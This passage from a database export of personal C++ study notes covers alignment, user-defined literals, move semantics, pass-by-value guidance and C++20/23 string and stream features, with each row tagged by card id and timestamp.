bytes\n double d; // 8 bytes\n bool e; // 1 byte\n char _pad2[7]; // 7 bytes\n}; code txt 2024-07-28 09:48:14.922269 -1114 375 `alignof` can only be applied to type-ids, and not to variables or class data\nmembers. text txt 2024-07-28 09:48:15.569202 -1115 375 struct alignas(4) foo // size: 4, alignment: 4\n{ // foo: +----+\n char a; // members: |ab..|\n char b;\n}; text txt 2024-07-28 09:48:15.592877 -1116 375 alignof(foo); // 4\nsizeof(foo); // 4\nalignof(foo&); // 4\nalignof(char); // 1\nalignof(int); // 4\nalignof(int*); // 8 (64-bit)\nalignof(int[4]);// 4 (natural alignment of element is 4) code txt 2024-07-28 09:48:15.614479 -1117 376 `alignas` takes an expression evaluating 0 or valid value for alignment, a\ntype-id, or a parameter pack. text txt 2024-07-28 09:48:17.109646 -1118 376 Only valid values of object alignment are the powers of two. text txt 2024-07-28 09:48:17.1309 -1119 376 Program is ill-formed if largest `alignas` on a declaration is smaller than\nnatural alignment without any `alignas` specifier. text txt 2024-07-28 09:48:17.153713 -1120 376 // alignas specifier applied to struct\nstruct alignas(4) foo1 // size = 4, aligned as = 4\n{ // foo1: +----+\n char a; // members: |a.b.|\n char b;\n}; text txt 2024-07-28 09:48:17.175591 -1121 376 struct foo1_ // size = 4, aligned as = 1\n{\n char a; // 1 byte\n char b; // 1 byte\n char _pad0[2]; // 2 bytes\n}; text txt 2024-07-28 09:48:17.195715 -1122 376 // alignas specifier applied to member data declarations\nstruct foo2 // size = 16, aligned as = 8\n{ // foo2: +--------+--------+\n alignas(2) char a; // members: |aa......|bbbb....|\n alignas(8) int b;\n}; text txt 2024-07-28 09:48:17.216577 -1123 376 struct foo2_ // size = 16, aligned as = 4\n{\n char a; // 2 bytes\n char _pad0[6]; // 6 bytes\n int b; // 4 bytes\n char _pad1[4]; // 4 bytes\n}; text txt 2024-07-28 09:48:17.239421 -1124 376 // the alignas specifier applied to the struct is less than alignas\n// specifier applied to member data declaration, thus will be ignored.\nstruct alignas(4) foo3 // size = 16, aligned as = 8\n{ // foo3: +--------+--------+\n alignas(2) char a; // members: |aa......|bbbbbbbb|\n alignas(8) int b;\n}; text txt 2024-07-28 09:48:17.260166 -1125 376 struct foo3_ // size = 16, aligned as = 4\n{\n char a; // 2 byte\n char _pad0[6]; // 6 bytes\n int b; // 4 bytes\n char _pad1[4]; // 4 bytes\n}; text txt 2024-07-28 09:48:17.281097 -1126 376 alignas(8) int a; // size = 4, alignment = 8\nalignas(256) long b[4]; // size = 32, alignment = 256 code txt 2024-07-28 09:48:17.304537 -1127 377 #include text txt 2024-07-28 09:48:17.728911 -1128 377 int main()\n{\n std::cout << sizeof(long double) << '\\\\n';\n} code txt 2024-07-28 09:48:17.748606 -1129 378 T operator ""_suffix(unsigned long long int); // biggest integral type\nT operator ""_suffix(long double); // biggest floating-point type\nT operator ""_suffix(char);\nT operator ""_suffix(wchar_t);\nT operator ""_suffix(char16_t);\nT operator ""_suffix(char32_t);\nT operator ""_suffix(char const *, std::size_t);\nT operator ""_suffix(wchar_t const *, std::size_t);\nT operator ""_suffix(char16_t const *, std::size_t);\nT operator ""_suffix(char32_t const *, std::size_t); code txt 2024-07-28 09:48:18.299711 -1130 379 namespace units\n{\n inline namespace literals\n {\n inline namespace units_literals\n {\n constexpr size_t operator ""_KB(unsigned long long const size)\n {\n return static_cast(size * 1024);\n }\n }\n }\n} text txt 2024-07-28 09:48:19.036306 -1131 379 int main()\n{\n using namespace units::units_literals; text txt 2024-07-28 09:48:19.058862 -1132 379 size_t bytes = "1024"_KB;\n} code txt 2024-07-28 09:48:19.079677 -1133 380 Always define literals in a separate namespace to avoid name clashes. text txt 2024-07-28 09:48:19.49427 -1134 380 T operator ""_suffix(char const*); text txt 2024-07-28 09:48:19.515004 -1135 380 template \nT operator ""_suffix(); code txt 2024-07-28 09:48:19.536471 -1136 381 namespace binary\n{\n using numeric = unsigned int; text txt 2024-07-28 09:48:20.711905 -1137 381 inline namespace binary_literals\n {\n namespace binary_internals\n {\n template\n struct bit_seq; text txt 2024-07-28 09:48:20.73455 -1138 381 template\n struct bit_seq\n {\n static constexpr T value { bit_seq::value };\n }; text txt 2024-07-28 09:48:20.755136 -1139 381 template\n struct bit_seq\n {\n static constexpr T value {\n bit_seq::value | static_cast(1 << sizeof...(bits))\n };\n }; text txt 2024-07-28 09:48:20.776757 -1140 381 template\n struct bit_seq\n {\n static constexpr T value{0};\n };\n } text txt 2024-07-28 09:48:20.797392 -1141 381 template \n constexpr numeric operator ""_byte()\n {\n static_assert(sizeof...(bits) <= 32, "binary literals only hold 32 bits"); text txt 2024-07-28 09:48:20.819033 -1142 381 return binary_internals::bit_seq::value;\n }\n }\n} code txt 2024-07-28 09:48:20.839991 -1143 382 #include \n#include text txt 2024-07-28 09:48:21.599244 -1144 382 std::vector f()\n{\n std::vector cells; // default constructed vector without allocations\n cells.reserve(3); // allocate 3 elements of std::string\n std::string s{"data"}; // default constructed std::string\n cells.push_back(s); // 1st vector element copy constructed\n cells.push_back(s+s); // default construction of temporary object; move construction of 2nd vector element\n cells.push_back(std::move(s)); // move constructed 3rd vector element; empty out s object\n return cells; // optimize out vector as return value\n} text txt 2024-07-28 09:48:21.621475 -1145 382 int main()\n{\n std::vector v;\n v = f(); // move assigned constructed vector by return value\n} code txt 2024-07-28 09:48:21.643701 -1146 383 #include text txt 2024-07-28 09:48:22.794489 -1147 383 class bag\n{\nprivate:\n unsigned int _count;\n int* _storage; text txt 2024-07-28 09:48:22.815607 -1148 383 public:\n bag(int const& number): _count{0}, _storage{nullptr}\n {\n _count++;\n _storage = new int{number};\n } text txt 2024-07-28 09:48:22.835933 -1149 383 virtual ~bag()\n {\n if (_count)\n delete _storage;\n } text txt 2024-07-28 09:48:22.857129 -1150 383 bag(bag const& other): _count{other._count}\n {\n _storage = new int{*other._storage};\n } text txt 2024-07-28 09:48:22.878749 -1151 383 bag(bag&& other): _count{other._count}, _storage{other._storage}\n {\n other._count = 0;\n other._storage = nullptr;\n }\n}; text txt 2024-07-28 09:48:22.899818 -1152 383 int main()\n{\n bag a{1};\n bag b{std::move(a)};\n} code txt 2024-07-28 09:48:22.920633 -1153 384 - When the value of a temporary object is passed that will automatically be\n destroyed after the statement.\n- When a non-`const` object marked with `std::move()`. text txt 2024-07-28 09:48:23.215263 -1154 385 `std::move()` is defined a a function in C++ standard library ``. No\nstandard header is required t include `utility` header file. Therefore, when\nusing `std::move()`, you should explicitly include `` to make your\nprogram portable. text txt 2024-07-28 09:48:23.545057 -1155 386 function(static_cast(object) code txt 2024-07-28 09:48:23.890747 -1156 387 The rule is that for a temporary object or an object marked with\n`std::move()`, if available, a function declaring parameters as an rvalue\nreference is preferred. However, if no such function exists, the usual copy\nsemantics is used as a fallback. text txt 2024-07-28 09:48:24.254937 -1157 388 The objects declared with const cannot be moved because any optimizing\nimplementation requires that the passed argument can be modified. text txt 2024-07-28 09:48:24.714339 -1158 388 std::vector coll;\nconst std::string s{"data"}; text txt 2024-07-28 09:48:24.736101 -1159 388 coll.push_back(std::move(s)); // OK, calls push_back(const std::string &) code txt 2024-07-28 09:48:24.757869 -1243 409 public:\n box(std::string f, std::string l): first{std::move(f)}, last{std::move(l)} {}\n}; code txt 2024-07-28 09:48:42.234552 -1160 389 Declaring the return value as a whole to be `const` disables move semantics\nand it also disables **return value optimization**. `const` should be used to\ndeclare parts of return type instead, such as the object a returned reference\nor poionter refers to. text txt 2024-07-28 09:48:25.30484 -1161 389 const std::string getValues(); // BAD: disables move semantics for return value\nconst std::string& getRef(); // OK\nconst std::string* getPtr(); // OK code txt 2024-07-28 09:48:25.326211 -1162 390 The implementer has to ensure that the passed argument is in a valid state\nafter the call. text txt 2024-07-28 09:48:25.63987 -1163 391 Moved-from objects are still valid objects for which at least the destructor\nwill be called. However, they should also be valid in the sense that they\nhave a consisten state and all operations work as expected. The only thing\nyou do not know is their value. text txt 2024-07-28 09:48:26.291633 -1164 391 std::string s{"data"}; text txt 2024-07-28 09:48:26.312982 -1165 391 foo(std::move(s)); text txt 2024-07-28 09:48:26.332146 -1166 391 std::cout << s << '\\\\n'; // OK (don't know which value is written)\nstd::cout << s.size() << '\\\\n'; // OK (writes current number of characters)\nstd::cout << s[0] << '\\\\n'; // ERROR (potentially undefined behavior)\nstd::cout << s.front() << '\\\\n'; // ERROR (potentially undefined behavior)\ns = "new value"; // OK code txt 2024-07-28 09:48:26.354659 -1167 392 The parameter can bind only to a temporary object that does not have a name\nor to an object marked with `std::move()`. text txt 2024-07-28 09:48:26.982006 -1168 392 According to the semantics of rvalue references, the caller claims that it is\n*no longer interested in the value*. Therefore, you can modify the object the\nparameter refers to. However, the caller might still be interested in using\nthe object. Therefore, any modification should keep the referenced object in\na valid state. text txt 2024-07-28 09:48:27.003314 -1169 392 void foo(std::string&& rv);\nstd::string s{"data"}; text txt 2024-07-28 09:48:27.023583 -1170 392 foo(s); // ERROR\nfoo(std::move(s)); // OK\nfoo(returnStringByValue()); // OK code txt 2024-07-28 09:48:27.046779 -1171 393 **const lvalue reference** text txt 2024-07-28 09:48:28.448022 -1172 393 The function has only read access to the passed argument. text txt 2024-07-28 09:48:28.468645 -1173 393 void foo(const std::string& arg); code txt 2024-07-28 09:48:28.488389 -1174 393 You can pass everything to a function declared that way if the type fits: text txt 2024-07-28 09:48:28.510056 -1175 393 - A modifiable named object\n- A `const` named object\n- A temporary object that does not have a name\n- A non-`const` object marked with `std::move()` text txt 2024-07-28 09:48:28.531378 -1176 393 **non-const lvalue reference** text txt 2024-07-28 09:48:28.553519 -1177 393 The function has write access to the passed argument. You can no longer pass\neverything to a function declared that way even if the type fits. text txt 2024-07-28 09:48:28.575523 -1178 393 void foo(std::string& arg); code txt 2024-07-28 09:48:28.598669 -1179 393 You can pass: text txt 2024-07-28 09:48:28.620763 -1180 393 - A modifiable object text txt 2024-07-28 09:48:28.641685 -1181 393 **non-const rvalue reference** text txt 2024-07-28 09:48:28.662588 -1182 393 void foo(std::string&& arg); code txt 2024-07-28 09:48:28.683403 -1183 393 The function has write access to the passed argument.\nHowever, you have restrictions on what you can pass: text txt 2024-07-28 09:48:28.703213 -1184 393 - A temporary object that does not have a name\n- A non-`const` object marked with `std::move()` text txt 2024-07-28 09:48:28.724256 -1185 393 The semantic meaning is that we give `foo()` write access to the passed\nargument to steal the value. text txt 2024-07-28 09:48:28.746123 -1186 393 **const rvalue reference** text txt 2024-07-28 09:48:28.767736 -1187 393 void foo(const std::string&& arg); code txt 2024-07-28 09:48:28.78819 -1188 393 This also means that you have read access to the passed argument.\nYou can only pass: text txt 2024-07-28 09:48:28.809884 -1189 393 - A temporary object that does not have name\n- A `const` or non-`const` object marked with `std::move()` text txt 2024-07-28 09:48:28.831577 -1190 393 However, there is no useful semantic meaning of this case. text txt 2024-07-28 09:48:28.853052 -1191 394 If classes have changed the usual behavior of copying or assignment, they\nprobably also have to do some things different when optimizing these\noperations. Any form of an explicit declaration of a copy constructor, copy\nassignment operator, or destructor disables move semantics, even if\ndeclarations are marked with `=default`. text txt 2024-07-28 09:48:29.222868 -1192 395 The copy constructor is automatically generated when all of the following\nconditions are met: text txt 2024-07-28 09:48:29.595002 -1193 395 * No move constructor is user-declared\n* No move assignment operator is user-declared text txt 2024-07-28 09:48:29.614833 -1194 396 The move constructor is automatically generated when all of the following\nconditions are met: text txt 2024-07-28 09:48:29.98766 -1195 396 * No copy constructor is user-declared\n* No copy assignment operator is user-declared\n* No another move operation is user-declared\n* No destructor is user-declared text txt 2024-07-28 09:48:30.009595 -1196 397 Declaring destructors in anyway disables the automatic generation of move\noperations. text txt 2024-07-28 09:48:30.301132 -1197 398 By default, both copying and moving special member functions are generated\nfor class. text txt 2024-07-28 09:48:30.897685 -1198 398 class Person\n{\n ...\npublic:\n ...\n // NO copy constructor/assignment declared\n // NO move constructor/assignment declared\n // NO destructor declared\n}; code txt 2024-07-28 09:48:30.918305 -1199 399 Generated move operations might introduce problems even though the generated\ncopy operations work correctly. In particular, you have to be careful in the\nfollowing situations: text txt 2024-07-28 09:48:31.335346 -1200 399 - Values of members have restrictions\n- Values of members depend on each other\n- Member with reference semantics are used (pointers, smart pointers, ...)\n- Objects have no default constructed state text txt 2024-07-28 09:48:31.355678 -1201 400 The guideline is to either declare all five (copy constructor, move\nconstructor, copy assignment operator, move assignment operator, and\ndestructor) or none of them. Declaration means either to implement, set as\ndefault, or set as deleted. text txt 2024-07-28 09:48:31.671011 -1202 401 Move constructor is called when the caller no longer needs the value. Inside\nthe move constructor, we hdecide where an how long we need it. In particular,\nwe might need the value multiple times and not lose it with its first use. text txt 2024-07-28 09:48:32.314338 -1203 401 void insertTwice(std::vector& coll, std::string&& str)\n{\n coll.push_back(str); // copy str into coll\n coll.push_back(std::move(str)); // move str into coll\n} code txt 2024-07-28 09:48:32.336215 -1204 401 The important lesson to learn here is that a parameter being declared as an\nrvalue reference restricts what we can pass to this function but behaves just\nlike any other non-`const` object of this type. text txt 2024-07-28 09:48:32.356868 -1244 409 Another good example to pass by value and move is methods taking objects to\nadd to a data structure: text txt 2024-07-28 09:48:42.2536 -1338 427 auto s5{ "text"sv }; // std::string_view code txt 2024-07-28 09:48:55.703935 -1205 402 All types in C++ standard library receive a valid but unspecified state when\nobjects are moved to themselves. This means that by default, you might lose\nthe values of your members and you might even have a more severe problem if\nyour type does not work properly with members that have arbitrary values. text txt 2024-07-28 09:48:33.04932 -1206 402 The traditional/naive way to protect against self-assignments is to check\nwether both operands are identical. You can also do this when implementing\nthe move assignment operator. text txt 2024-07-28 09:48:33.071338 -1207 402 Customer& operator=(Customer&& other) noexcept\n{\n if (this != &other)\n {\n name = std::move(other.name);\n values = std::move(other.values);\n }\n return *this;\n} code txt 2024-07-28 09:48:33.09303 -1208 403 if you declare the move constructor as deleted, you cannot move (you have\ndisabled this operation; any fallback is not used) and cannot copy (because a\ndeclared move constructor disables copy operations). text txt 2024-07-28 09:48:34.432418 -1209 403 class Person\n{\npublic:\n ...\n // NO copy constructor declared text txt 2024-07-28 09:48:34.45322 -1210 403 // move constructor/assignment declared as deleted:\n Person(Person&&) = delete;\n Person& operator=(Person&&) = delete;\n ...\n}; text txt 2024-07-28 09:48:34.475797 -1211 403 Person p{"Tina", "Fox"};\ncoll.push_back(p); // ERROR: copying disabled\ncoll.push_back(std::move(p)); // ERROR: moving disabled code txt 2024-07-28 09:48:34.496348 -1212 403 You get the same effect by declaring copying special member functions as\ndeleted and that is probably less confusing for other programmers. text txt 2024-07-28 09:48:34.517545 -1213 403 Deleting the move operations and enabling the copy operations really makes no sense:\nclass Person\n{\npublic:\n ...\n // copy constructor explicitly declared:\n Person(const Person& p) = default;\n Person& operator=(const Person&) = default; text txt 2024-07-28 09:48:34.540005 -1214 403 // move constructor/assignment declared as deleted:\n Person(Person&&) = delete;\n Person& operator=(Person&&) = delete;\n ...\n}; text txt 2024-07-28 09:48:34.562064 -1215 403 Person p{"Tina", "Fox"};\ncoll.push_back(p); // OK: copying enabled\ncoll.push_back(std::move(p)); // ERROR: moving disabled code txt 2024-07-28 09:48:34.581343 -1216 403 In this case, `=delete` disables the fallback mechanism. text txt 2024-07-28 09:48:34.602877 -1217 404 Returning a local object by value automatically uses move semantics if\nsupported. On the other hand, `std::move` is just a `static_cast` to an\nrvalue reference, therefore disables **return value optimization**, which\nusually allows the returned object to be used as a return value instead. text txt 2024-07-28 09:48:35.073806 -1218 404 std::string foo()\n{\n std::string s;\n return std::move(s); // BAD, returns std::string&&\n} code txt 2024-07-28 09:48:35.094681 -1219 405 Declaring the special move member functions as deleted is usually not the\nright way to do it because it disables the fallback mechanism. The right way\nto disable move semantics while providing copy semantics is to declare one of\nthe other special member functions (copy constructor, assignment operator, or\ndestructor). I recommend that you default the copy constructor and the\nassignment operator (declaring one of them would be enough but might cause\nunnecessary confusion): text txt 2024-07-28 09:48:35.704622 -1220 405 class Customer\n{\n ...\npublic:\n ...\n Customer(const Customer&) = default; // disable move semantics\n Customer& operator=(const Customer&) = default; // disable move semantics\n}; code txt 2024-07-28 09:48:35.72559 -1221 406 If move semantics is unavailable or has been deleted for a type, this has no\ninfluence on the generation of move semantics for classes that have members\nof this type. text txt 2024-07-28 09:48:36.601007 -1222 406 class Customer\n{\n ...\npublic:\n ...\n Customer(const Customer&) = default;\n // copying calls enabled\n Customer& operator=(const Customer&) = default; // copying calls enabled\n Customer(Customer&&) = delete;\n // moving calls disabled\n Customer& operator=(Customer&&) = delete;\n // moving calls disabled\n}; text txt 2024-07-28 09:48:36.622668 -1223 406 class Invoice\n{\n std::string id;\n Customer cust;\npublic:\n ... // no special member functions\n}; text txt 2024-07-28 09:48:36.643662 -1224 406 Invoice i;\nInvoice i1{std::move(i)}; // OK, moves id, copies cust code txt 2024-07-28 09:48:36.66584 -1225 407 Usually, in polymorphic derived classes there is no need to declare special\nmember functions, especially virtual destructor. text txt 2024-07-28 09:48:37.379986 -1226 407 class Base\n{\npublic:\n virtual void do_something() const = 0;\n virtual ~Base() = default;\n}; text txt 2024-07-28 09:48:37.401074 -1227 407 class Derived: public Base\n{\npublic:\n virtual void do_something() const override;\n virtual ~Derived() = default; // BAD, redundant, disables move\n}; code txt 2024-07-28 09:48:37.422308 -1228 408 With move semantics call-by-value can become cheap if a temporary object is\npassed or the passed argument is marked with `std::move()`. Retuurning a\nlocal object by value can be optimized away. However, if it is not optimized\naway, the call is guaranteed to be cheap now. text txt 2024-07-28 09:48:38.240365 -1229 408 void fooByVal(std::string str);\nvoid fooByRRef(std::string&& str);; text txt 2024-07-28 09:48:38.260688 -1230 408 std::string s1{"data"}, s2{"data"}; text txt 2024-07-28 09:48:38.281432 -1231 408 fooByVal(std::move(s1)); // s1 is moved\nfooByRRef(std::move(s2)); // s2 might be moved code txt 2024-07-28 09:48:38.302908 -1232 408 The function taking the string by value will use move semantics because a new\nstring is created with the value of passed argument. The function taking the\nstring by rvalue reference might use move semantics. Passing the argument\ndoes not create a new string. Wether the value of the passed argument is\nstolen/modified depends on the implementation of the function. text txt 2024-07-28 09:48:38.323813 -1233 408 Move semantics does not guarantee that any optimization happens at all or\nwhat the effect of any optimization is. All we know is that the passed object\nis subsequently in a valid but unspecified state. text txt 2024-07-28 09:48:38.344799 -1234 409 Constructing an object only by const lvalue references will allocate four\nmemory spaces which two of them are unnecessary. Also move operation does not\nwork here because parameters are const. text txt 2024-07-28 09:48:42.040525 -1235 409 When passing string literals to const lvalue references, compiler creates two\ntemporary objects of `std::string`, which then will be used to initialize\nmembers while this also makes two copies. text txt 2024-07-28 09:48:42.061547 -1236 409 #include text txt 2024-07-28 09:48:42.083074 -1237 409 class box\n{\nprivate:\n std::string first;\n std::string last; text txt 2024-07-28 09:48:42.103643 -1238 409 public:\n box(std::string const& f, std::string const& l): first{f}, last{l} {}\n // f, l allocated\n // first, last also allocated\n}; text txt 2024-07-28 09:48:42.125897 -1239 409 box b{"First", "Last"}; code txt 2024-07-28 09:48:42.146717 -1240 409 With constructors that take each argument by value and moving them into\nmembers, we avoid redundant memory allocations. This is especially true when\nwe are taking values in constructor initialization list. text txt 2024-07-28 09:48:42.168895 -1241 409 #include text txt 2024-07-28 09:48:42.191237 -1242 409 class box\n{\nprivate:\n std::string first;\n std::string last; text txt 2024-07-28 09:48:42.213049 -1246 409 class box\n{\nprivate:\n std::string first;\n std::vector values; text txt 2024-07-28 09:48:42.296132 -1247 409 public:\n box(std::string f, std::vector v): first{std::move(f)}, values{std::move(v)} {}\n insert(std::string n) { values.push_back(std::move(n)); }\n}; code txt 2024-07-28 09:48:42.317224 -1248 409 It is also possible to use rvalue parameters and move options: text txt 2024-07-28 09:48:42.336273 -1249 409 #include text txt 2024-07-28 09:48:42.357269 -1250 409 class box\n{\nprivate:\n std::string first;\n std::string last; text txt 2024-07-28 09:48:42.37994 -1251 409 public:\n box(std::string&& f, std::string&& l): first{std::move(f)}, last{std::move(l)} {}\n}; code txt 2024-07-28 09:48:42.40117 -1252 409 But this solely prevents objects with names. So we should implement two\noverloads that pass by values and move: text txt 2024-07-28 09:48:42.421675 -1253 409 Overloading both for rvalue and lvalue references lead to many different\ncombinations of parameters. text txt 2024-07-28 09:48:42.442683 -1254 409 In some cases, move operations take significant time. For example, if we have\na class with a string and a vector of values, taking by value and move is\nusually the right approach. However, if we have a `std::array` member, moving\nit will take significant time even if the members are moved. text txt 2024-07-28 09:48:42.463009 -1255 409 #include \n#include text txt 2024-07-28 09:48:42.484018 -1256 409 class box\n{\nprivate:\n std::string first;\n std::array values; text txt 2024-07-28 09:48:42.50653 -1257 409 public:\n box(std::string f, std::array& v): first{std::move(f)}, values{v} {}\n box(std::string f, std::array&& v): first{std::move(f)}, values{std::move(v)} {}\n}; code txt 2024-07-28 09:48:42.529563 -1258 409 Often, pass by value is useful when we *create and initialize* a new value.\nBut if we already have a value, which we update or modify, using this\napproach would be counterproductive. A simple example would be setters: text txt 2024-07-28 09:48:42.551019 -1259 409 #include text txt 2024-07-28 09:48:42.571775 -1260 409 class box\n{\nprivate:\n std::string first; text txt 2024-07-28 09:48:42.591571 -1261 409 public:\n box(std::string f): first{std::move(f)} {}\n void set_first(std::string f) { first = f; }\n}; text txt 2024-07-28 09:48:42.614385 -1262 409 box b{"Sample"};\nb.set_first("Another Sample");\nb.set_first("Another Sample");\nb.set_first("Another Sample");\nb.set_first("Another Sample"); code txt 2024-07-28 09:48:42.635711 -1263 409 Each time we set a new firstname we create a new temporary parameter `s`\nwhich allocates its own memory. But by implementing in the traditional way\ntaking a const lvalue reference we avoid allocations: text txt 2024-07-28 09:48:42.657736 -1264 409 #include text txt 2024-07-28 09:48:42.680363 -1265 409 class box\n{\nprivate:\n std::string first; text txt 2024-07-28 09:48:42.701515 -1266 409 public:\n box(std::string f): first{std::move(f)} {}\n void set_first(std::string const& f) { first = f; }\n}; code txt 2024-07-28 09:48:42.722642 -1267 409 Even with move semantics, the best approach for setting existing values is to\ntake the new values by const lvalue reference and assign without using move\noperation. text txt 2024-07-28 09:48:42.745615 -1268 409 Taking a parameter by value and moving it to where the new value is needed is\nonly useful when we store the passed value somewhere as a new value where we\nneed new memory allocation anyway. When modifying an existing value, this\npolicy might be counterproductive. text txt 2024-07-28 09:48:42.767129 -1269 410 - Constructors that initialize members from parameters, for which move\n operations are cheap, should take the argument by value and move it to the\n member.\n- Constructors that initialize members from parameters, for which move\n operations take a significant amount of time, should be overloaded for move\n semantics for best performance.\n- In general, creating and initializing new values from parameters, for which\n move operations are cheap, should take the arguments by value and move.\n However, do not take by value and move to update/modify existing values. text txt 2024-07-28 09:48:43.149396 -1270 411 class base\n{\n virtual void foo() = 0;\n virtual void bar() {}\n virtual void baz() = 0;\n}; text txt 2024-07-28 09:48:43.910586 -1271 411 class alpha: public base\n{\n virtual void bar() override {}\n virtual void baz() override {}\n}; text txt 2024-07-28 09:48:43.93154 -1272 411 class beta: public alpha\n{\n virtual void foo() override {}\n}; text txt 2024-07-28 09:48:43.951912 -1273 411 beta object; code txt 2024-07-28 09:48:43.974055 -1274 412 class base\n{\n virtual void foo() = 0;\n virtual void bar() {}\n virtual void baz() = 0;\n}; text txt 2024-07-28 09:48:44.853245 -1275 412 class alpha: public base\n{\n virtual void foo() override {}\n virtual void baz() override final {}\n}; text txt 2024-07-28 09:48:44.873577 -1276 412 class beta: public alpha\n{\n // won't compile\n virtual void baz() override {}\n}; text txt 2024-07-28 09:48:44.893414 -1277 412 int main()\n{\n beta object;\n} code txt 2024-07-28 09:48:44.915026 -1278 413 class base\n{\n virtual void foo() = 0;\n virtual void bar() {}\n virtual void baz() = 0;\n}; text txt 2024-07-28 09:48:45.61151 -1279 413 class derived final: public base\n{\n virtual void foo() override {}\n virtual void baz() override {}\n}; text txt 2024-07-28 09:48:45.631865 -1280 413 // won't compile\nclass prime: public derived\n{\n}; code txt 2024-07-28 09:48:45.65422 -1281 414 #include \n#include text txt 2024-07-28 09:48:46.252922 -1282 414 int main()\n{\n std::osyncstream output_stream{std::cout};\n output_stream << "This literal string will be";\n output_stream << std::endl; // no effect\n output_stream << "written into output stream";\n // flushes on destruction\n} code txt 2024-07-28 09:48:46.274301 -1283 415 String stream operations are slow. To enhance the performance of operations,\nyou have the `view()` member function coming in C++20. This can be used as an\nalternative to `str()`. In short, rather than creating a copy of the internal\nstring, you will get a view instead, so there is no need to dynamically\nallocate memory. text txt 2024-07-28 09:48:47.054657 -1284 415 #include \n#include text txt 2024-07-28 09:48:47.075105 -1285 415 // make allocations obvious\nvoid* operator new(std::size_t sz){\n std::cout << "Allocating " << sz << " bytes\\\\n";\n return std::malloc(sz);\n} text txt 2024-07-28 09:48:47.09673 -1286 415 int main() {\n std::stringstream str;\n str << "Using C++20 standard";\n // allocates text txt 2024-07-28 09:48:47.117577 -1287 415 std::cout << str.str() << '\\\\n';\n // allocates text txt 2024-07-28 09:48:47.13789 -1288 415 std::cout << str.view() << '\\\\n';\n // doesn't allocate\n} code txt 2024-07-28 09:48:47.159596 -1289 416 Using C++20 there is an extra constructor that can take an rvalue reference\nto the string object, and thus it might not require an additional copy: text txt 2024-07-28 09:48:47.787053 -1290 416 #include \n#include text txt 2024-07-28 09:48:47.807647 -1291 416 // make allocations obvious\nvoid* operator new(std::size_t sz){\n std::cout << "Allocating " << sz << " bytes\\\\n";\n return std::malloc(sz);\n} text txt 2024-07-28 09:48:47.831143 -1292 416 int main() {\n std::stringstream str {std::string("hello C++ programming World")};\n} code txt 2024-07-28 09:48:47.850601 -1293 416 Compiled with C++17, two allocations can be witnessed. But compiled with\nC++20, duplicate copy no longer takes place. text txt 2024-07-28 09:48:47.871537 -1294 417 Staring with C++23, you can take complete control over the internal memory of\na stream. text txt 2024-07-28 09:48:48.684565 -1295 417 #include \n#include \n#include // new header text txt 2024-07-28 09:48:48.706131 -1296 417 // make allocations obvious\nvoid* operator new(std::size_t sz){\n std::cout << "Allocating " << sz << " bytes\\\\n";\n return std::malloc(sz);\n} text txt 2024-07-28 09:48:48.728587 -1297 417 int main() {\n std::stringstream ss;\n ss << "one string that doesn't fit into SSO";\n ss << "another string that hopefully won't fit";\n // allocates memory text txt 2024-07-28 09:48:48.752175 -1298 417 char buffer[128]{};\n std::span internal_memory(buffer);\n std::basic_spanstream ss2(internal_memory);\n ss2 << "one string that doesn't fit into SSO";\n ss2 << "another string that hopefully won't fit";\n // doesn't allocate new memory\n} code txt 2024-07-28 09:48:48.77452 -1299 418 In C++11, all containers received emplace variants of their typical\ninsert/push methods. The emplace variants can construct the element in place,\nsaving a move or copy. text txt 2024-07-28 09:48:49.526105 -1300 418 #include \n#include text txt 2024-07-28 09:48:49.546821 -1301 418 std::vector vec; text txt 2024-07-28 09:48:49.566733 -1302 418 {\n std::string s("Hello World!");\n vec.push_back(s); // Copy\n vec.push_back(std::move(s)); // Move\n} text txt 2024-07-28 09:48:49.590405 -1303 418 {\n std::string s("Hello World!");\n vec.emplace_back(s); // Copy (same as push_back)\n vec.emplace_back(std::move(s)); // Move (same as push_back) text txt 2024-07-28 09:48:49.611912 -1304 418 // In-place construction, no move or copy:\n vec.emplace_back("Hello World!"); text txt 2024-07-28 09:48:49.632733 -1305 418 // Note the difference, this is still a move:\n vec.emplace_back(std::string{"Hello World!"});\n} code txt 2024-07-28 09:48:49.653807 -1306 419 To find a substring prior standard C++23: text txt 2024-07-28 09:48:50.503099 -1307 419 #include \n#include text txt 2024-07-28 09:48:50.523186 -1308 419 int main() {\n std::string message{"Using prior C++23 standard."}; text txt 2024-07-28 09:48:50.544059 -1309 419 if (message.find("C++") != std::string::npos)\n std::cout << "You are using C++\\\\n";\n} code txt 2024-07-28 09:48:50.567054 -1310 419 Using C++23: text txt 2024-07-28 09:48:50.588603 -1311 419 #include \n#include text txt 2024-07-28 09:48:50.609858 -1312 419 int main() {\n std::string message{"Using C++23 standard."}; text txt 2024-07-28 09:48:50.633503 -1313 419 if (message.contains("C++"))\n std::cout << "You are using C++\\\\n";\n} code txt 2024-07-28 09:48:50.654833 -1314 420 Using C++23: text txt 2024-07-28 09:48:51.076935 -1315 420 #include text txt 2024-07-28 09:48:51.096539 -1316 420 bool secure_protocol(std::string_view url)\n{\n if (url.starts_with("https"))\n return true; text txt 2024-07-28 09:48:51.117077 -1317 420 return false;\n} code txt 2024-07-28 09:48:51.13843 -1318 421 #include text txt 2024-07-28 09:48:51.595657 -1319 421 bool org_domain(std::string_view url)\n{\n if (url.ends_with(".org"))\n return true; text txt 2024-07-28 09:48:51.616325 -1320 421 return false;\n} code txt 2024-07-28 09:48:51.636754 -1321 422 auto si = std::to_string(42); // "42"\nauto sl = std::to_string(42L); // "42"\nauto su = std::to_string(42u); // "42"\nauto sd = std::to_wstring(42.0); // "42.000000"\nauto sld = std::to_wstring(42.0L); // "42.000000" code txt 2024-07-28 09:48:51.997505 -1322 423 auto i1 = std::stoi("42");\nauto i2 = std::stoi("101010", nullptr, 2);\nauto i3 = std::stoi("052", nullptr, 8);\nauto i7 = std::stoi("052", nullptr, 0);\nauto i4 = std::stoi("0x2A", nullptr, 16);\nauto i9 = std::stoi("0x2A", nullptr, 0);\nauto i10 = std::stoi("101010", nullptr, 2);\nauto i11 = std::stoi("22", nullptr, 20);\nauto i12 = std::stoi("-22", nullptr, 20); text txt 2024-07-28 09:48:52.863448 -1323 423 auto d1 = std::stod("123.45"); // d1 = 123.45000000000000\nauto d2 = std::stod("1.2345e+2"); // d2 = 123.45000000000000\nauto d3 = std::stod("0xF.6E6666p3"); // d3 = 123.44999980926514 code txt 2024-07-28 09:48:52.883242 -1324 423 1. The first parameter is the input string.\n2. The second parameter is a pointer that, when not null, will receive the\n number of characters that were processed. This can include any leading\n whitespaces that were discarded, the sign, and the base prefix, so it\n should not be confused with the number of digits the integral value has.\n3. A number 